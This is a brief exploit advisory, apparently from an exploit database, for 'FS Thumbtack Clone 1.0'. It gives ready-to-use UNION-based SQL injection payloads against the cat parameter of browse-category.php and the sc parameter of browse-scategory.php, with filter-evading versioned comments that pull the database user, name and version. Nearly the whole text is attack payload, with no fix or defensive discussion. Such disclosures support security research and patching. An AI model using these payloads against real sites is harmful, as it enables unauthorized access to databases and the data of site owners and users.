FS Thumbtack Clone 1.0 – SQL Injection
The vulnerability allows an attacker to inject sql commands. Proof of Concept: 1) http://localhost/[PATH]/browse-category.php?cat=[SQL] -91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+- http://server/browse-category.php?cat=-91a87ff679a2f3e71d9181a67b7542122c'++/*!22222UNION*/(/*!22222SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(3),(4))--+- 2) http://localhost/[PATH]/browse-scategory.php?sc=[SQL] -34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+- http://server/browse-scategory.php?sc=-34202cb962ac59075b964b07152d234b70'++/*!22222UNION*/+/*!22222SELECT*/+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4,5,6,7,8,9--+-